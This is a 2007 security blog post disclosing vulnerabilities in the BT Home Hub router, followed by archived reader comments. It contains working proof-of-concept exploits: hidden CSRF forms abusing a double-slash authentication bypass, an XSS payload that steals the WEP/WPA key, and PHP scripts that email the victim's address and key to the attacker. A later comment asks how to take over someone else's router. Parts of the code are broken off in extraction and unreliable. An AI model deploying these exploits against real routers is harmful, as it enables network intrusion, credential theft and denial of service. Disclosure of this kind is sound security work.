BT Home Flub Pwnin The BT Home Hub (4)

Thu, 08 Nov 2007 11:33:13 GMT
by pagvac

The following are the full details of the vulnerabilities we reported (BID 25972) to BT regarding their Home Hub router. We are going to have a brief detail on all POCs. If you have any suggestions, recommendations or corrections, do not hesitate to contact us. All the vulnerabilities and demo exploits discussed below have been tested on version of the firmware, unless otherwise specified. Have fun and be responsible!

Exploit #1: Enable remote assistance and notify intruder when victim Home Hub is owned

This is the exploit shown in our first demo video on which we forge the enable remote assistance request using an authentication bypass bug we found within the router firmware. Even if the victim has changed the password, the request will still go through no matter what. After successful exploitation, the attacker is notified via email with the URL (IP address) needed to control the Home Hub remotely.

In our exploit we set the credentials tech:12345678. Notice the double forward slash in the action attribute which allows us to bypass the authentication! The exploit Proof of Concept code follows:

<!-- index.html -->

function redirect() {

       imgsrc = '';
       fingerprint_img = new Image();

       fingerprint_img.onerror = function (evt) {
               ; //alert(this.src + " can't be loaded.");

       // only notify attacker only if potential vulnerable Thomson
Speedtouch / BT Homehub router found
       fingerprint_img.onload = function (evt) {
               //alert(this.src + " is loaded.");
               C=new Image();

       fingerprint_img.src = imgsrc;
       setTimeout("document.location=targetURL", 500);


<iframe onload="redirect()" frameborder=0 height=0 width=0


<!-- ras.html -->

<form name='raccess'
<input type='hidden' name='0' value='31'>
<input type='hidden' name='1' value=''>
<input type='hidden' name='30' value='12345678'>
<!-- <input type='submit' value="own it!"> -->

// notify.php
define("RCPT_EMAIL", "[email protected]");
define("EMAIL_SUBJECT", "[OWNED]");

$messagebody="victim: https://".$_SERVER['REMOTE_ADDR'].":51003\n";
mail(RCPT_EMAIL, EMAIL_SUBJECT, $messagebody);

### Exploit #2: Steal page containing WEP/WPA key

The following exploit simply steals the WEP/WPA key from the router. In some situations this is all the attackers need. The exploit URL looks like the following:"><script%20src=></script><a%20b%3d

// xss.js

// important - won't work without having a body

// xhr() - WORKS ON BOTH FF2 AND IE7!
// original code from
var req;

// we steal the page that returns the WEP/WPA key. no auth required, can you believe it?

var url="/cgi/b/_wli_/seccfg/?ce=1&be=1&l0=4&l1=0";

function loadXMLDoc(url)
        req = false;
        // branch for native XMLHttpRequest object
        if(window.XMLHttpRequest && !(window.ActiveXObject))
                        req = new XMLHttpRequest();
                        req = false;
        // branch for IE/Windows ActiveX version

        else if(window.ActiveXObject)
                        req = new ActiveXObject("Msxml2.XMLHTTP");
                                req = new ActiveXObject("Microsoft.XMLHTTP");
                                req = false;
                req.onreadystatechange = processReqChange;
      "GET", url, true);
// end of loadXMLDoc(url)

function processReqChange()
        // only if req shows "loaded"
        if (req.readyState == 4)
                // only if "OK"
                if (req.status == 200)
                        // ...processing statements go here...

                        var f=document.createElement("form");
                        // where you want the captured data to be submitted to
                        // POST is handy for submitting large chuncks of data
                        var t = document.createElement('INPUT');


// end of body

// steal.php
define("RCPT_EMAIL", "[email protected]");
define("EMAIL_SUBJECT", "[OWNED]");
$messagebody="victim router: ".$_SERVER['REMOTE_ADDR']."\n";

if($_REQUEST['data']) {
        $messagebody=$messagebody."page containing WEP/WPA key:".$_REQUEST['data'];
        mail(RCPT_EMAIL, EMAIL_SUBJECT, $messagebody);

### Exploit #3: Disable wireless connectivity

This PoC will disable your Wifi permanently unless you re-enable it manually after successful exploitation! In order to re-enable the Wifi interface you can reset to factory settings, or re-enable the setting by connecting to the Home Hub through the ethernet interface. I am not sure what this exploit can be used for but at least it shows a potential quite devastating danger.

<!-- index.html -->
<iframe onload="javascript:document.body.innerHTML='<html><h1>PWNED!</h1>'" name="hack" frameborder=0 height=0 width=0 src="./disable_wifi_interface.html"></iframe>

<!-- disable_wifi_interface.html -->

    POST /cgi/b/_wli_/cfg/?ce=1&be=1&l0=4&l1=0&name= HTTP/1.1


<form action="" method="post">

<input type="hidden" name="0" value="10">
<input type="hidden" name="1" value="">
<input type="hidden" name="32" value="">
<input type="hidden" name="33" value="">
<input type="hidden" name="34" value="2">
<input type="hidden" name="35" value="1">
<input type="hidden" name="45" value="11">
<input type="hidden" name="47" value="1">



_For the rest of this post we are listing all vulnerabilities that were found in the BT Home Hub router._

### Vulnerability #1: System-wide CSRF

The BT Home Hub is vulnerable to CSRF by design. That means that absolutely ANY request can be forged by an attacker. This includes administrative requests. The only requirement for these attacks to work would be to predict the admin password (many users never change the default admin password), or combine it with a authentication bypass bug like the one we found (more on this later).

As an intruder, you would typically target admin requests that would allow you to compromise the Home Hub. For instance, the following is the request that enables Remote Assistance with a password equals to _PASSW0RD_ (username is **tech**).

POST /cgi/b/ras/?ce=1&be=0&l0=-1&l1=-1 HTTP/1.1


_This issue has also been successfully tested on a Thomson Speedtouch 780 (firmware version, which is shipped by Bethere in the UK._

### Vulnerability #2: Several non-persistent XSS

There are a few non-persistent XSS. None of them require the victim to be authenticated with the Home Hub for the scripting code (payload) to run. Why is there some functionality/pages available on the web interface without authenticating? Well, don't ask me! Ask BT or Thomson. Several GET parameters are affected:
  • Through the name parameter (already published on BID 16839):

  • Through the url parameter. This one is a good one because there are not restrictions on the length of the payload or type of characters that can be injected. Plus, it works even if the victim is not authenticated (again, the vulnerable script is available without needing to authenticate)"><a%20b=""><a%20b=""><a%20b=

    The last PoC URL has also been successfully tested on a Thomson Speedtouch 780 firmware version, which is shipped by Bethere in the UK.

    Vulnerability #3: Several persistent XSS

    Persistent XSS on Configuration / Application Sharing / Add new Game or App:

    A request which takes advantage of this vulnerability may look like the following::

    POST /cgi/b/games/newserv/?ce=1&be=1&l0=4&l1=5&tid=CREATE_GAME HTTP/1.1


    On the other hand, there is a persistent XSS on the logs page by attempting to authenticate (with the web server) using a malformed username:

    Oct 27 16:10:19 LOGIN User [XSS_payload_goes_here]` tried to login on [HTTPS] (from

    The line where the payload is returned looks like the following:

    LOGIN User tried to login on [HTTP] (from

    Vulnerability #4: Double-slash Authentication Bypass

    This authentication bypass allows intruders to view any page that would normally require the admin password. Additionally, any administrative request can be made without requiring the admin password. The bug is extremely simple to exploit, and works like a charm! By simply requesting the password-protected resource with two forward slashes, the authentication is bypassed completely. I.e.:

  • Basic wireless configuration info:

  • Local network information:

  • Firewall security settings: and

  • Internet connection information:

  • Game and Application sharing: and

  • Remote assistance:

  • Backup and Restore:

  • _Dump config file_:

    Not only administrative pages can be viewed without a password, but administrative changes can also be made. I.e.: the following request enables remote assistance without requiring a password:

    POST /cgi/b/ras//?ce=1&be=1&l0=5&l1=5 HTTP/1.1


    The previous request could be performed by a malicious website through a hidden form as shown in Exploit #1.

    Vulnerability #5: A-to-C authentication bypass

    Let me explain what I mean by A-to-C authentication bypass. Sometimes on a application we're supposed to go through an intermediate B point before we reach C. However, sometimes, knowing C in advance might allow you to gain access to data without going through B. In this case, by simply knowing URLs that would only be accessible to authenticated admin users, an attacker can bypass the password prompt completely.

    For instance, some pages that are only available after accessing the Advanced section are supposed to require a password to be accessed, but can be accessed without authenticating. i.e.:

Keep in mind that the WEP/WPA key in the clear. There are other pages whose links can only be seen after authenticating, but can actually be accessed without authenticating by simply accessing the URL directly. However, the Wireless Security page is probably the most interesting one.

BT has finally password-protected the Wireless Security page on firmware version 6.2.6.B.

Vulnerability #6: Privilege Escalation

BT Home Hubs have three accounts by default: Basic_, _admin_, and _tech. Since version of the firmware, saving a backup of the config file and loading a new one is restricted to the tech account which is usually used by BT technical support. However, the admin user can access such functionalities by simply accessing any of the following URLs:

This is pretty much it. I hope that you've learned something new. Again, if you have any ideas, suggestions or aditional information, contact us.

Archived Comments

whoa nice stuff
NurBo reads this stuff? Hehe... I'd use $_POST['data'] instead of $_REQUEST['data'] in steal.php though. $_REQUEST contains $_GET, $_POST, and $_COOKIE, and all you need here is $_POST. Furthermore, good job! Nice article.
Adrian PastorAdrian Pastor
@NurBo - Glad yo like it! @G-Brain - 'steal.php' is derived from a generic data theft script I wrote long time ago. The idea of the original script is that it works for both, GET and POST, hence the use of $_REQUEST . btw guys, there is video we're posting soon on this very same page showing a DoS on the BT Home Hub. The exploit takes advantage of the double slash auth bypass + CSRF to disable the wireless connection. Although I usually don't like DoS attacks, I must say that this one is kind of a killer. Just visit site, and boom, the Home Hub's wireless interface is disabled permanently!
I see, thanks for the explanation. I don't see why those definitions of RCPT_EMAIL and EMAIL_SUBJECT are made even when there is no $_REQUEST['data'] though... ;)
Adrian PastorAdrian Pastor
@G-Brain - fair enough! I see what you mean, I guess I wasted a few CPU cycles in the script. You're right though, if you want to be perfectionist, the definitions on 'steal.php' should be under the IF statement.
Adrian PastorAdrian Pastor
Here is the demo video for Exploit #3 : //
I don't suppose there is an exploit in 6.2.6.B that allows telnet access?
t3h 1337t3h 1337
Any 0day for 626c?
The new Home Hub firmware (6.2.6E) removes these exploits. However if you gain wireless access to the device (which isn't difficult if it's on WEP) you will find the default password has been changed to the serial number of the device (unless the owner changed it since). Now you might think getting the serial number would be impossible without physical access, but using the firmware recovery tool provided by BT it will tell you the serial number on finding it. Then all you do is add the two characters 'CP' infront of it to make it valid e.g. CP01234ABCD. From there I guess the possibility lies with downgrading the firmware to a more vulnerable version.
I am connected to a BT Home Hub with the WPA2 key (it's a long story how I got that!) and when I browse I get the "Change your admin password for the first time" screen, showing version 8.1.A I've tried entering the serial number (from the BT Home Hub Admin app plus "CP" in front) but it tells me it is invalid. I have another BT Home Hub and once I've changed the admin password this screen no longer shows. Any ideas how I can gain access to the admin pages?
Noggin, take a look at the post concerning bypassing the admin password, all you need is there
Richard BurnsRichard Burns
This all seems pointless, tell me i'm wrong. How can you run any of this unless your on the network? I am surrounded by at least 10 hubs and need to access one of them??
The first thing I do with any router is to change its ip address and the range of ips that the lan users can use and turn of dhcp. This would mean your script would have in theory to cover the whole range of private ip addresses from the Wan side and make access from the lan side much more difficult
Is there any way to reset admin password, other than doing factory reset of router?